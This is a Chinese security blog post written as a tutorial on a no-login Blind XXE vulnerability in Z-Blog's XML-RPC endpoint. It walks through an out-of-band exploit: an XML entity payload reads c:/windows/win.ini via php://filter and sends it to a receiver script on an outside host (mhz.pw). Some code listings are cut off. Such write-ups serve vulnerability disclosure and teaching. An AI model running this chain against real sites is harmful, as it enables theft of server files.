PHITHON的公开漏洞Z-BLOG Blind-XXE造成任意文件读取 2016-09-06
Z-BLOG Blind-XXE造成任意文件读取
看到雨牛发z-blog,我也来凑热闹。
一个Blind XXE教学,无需登录。
下载最新版Z-Blog:https://www.zblogcn.com/zblogphp/
/zb_system/xml-rpc/index.php 641行:
1 | $zbp->Load(); |
可见,这里直接调用simple_load_string解析XML,造成了一个XML实体注入。
但观察后面的代码发现,需要用户、密码才能执行一些操作,得到回显,否则会报错。
没有回显的情况下,我们怎么来利用XXE,这里就说到一个blind xxe,在这篇文章都有详细的说明: http://blog.csdn.net/u011721501/article/details/43775691
所以原理什么的我就不细说了,主要看利用方法。
先在我主机上放一个接收文件的php(http://mhz.pw/xxe/get.php):
1 |
|
目的是将$_GET['xxe_local']
存入本地文件01.txt。然后再构造一个xml,也保存在我的主机上,这个XML实际上就是真正读取文件的XML:
1 | <!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini"> |
我们看到这个XML,他引用了外部实体c:/windows/win.ini作为payload的值,然后又将payload拼接到http://mhz.pw/xxe/get.php?xxe_local=%payload;
,进行HTTP请求。
接收到请求的get.php就将这个文件内容保存到01.txt了,形成了一个文件读取的过程。
然后,我们向/zb_system/xml-rpc/index.php发包,让它来加载上面这个XML:
发包过去后,就会请求我们的evil_php.xml,解析这个xml造成XXE攻击,读取 c:/windows/win.ini 并进行base64编码后传给get.php,最后保存在我们的主机上:
用Blind XXE造成一个任意文件读取漏洞。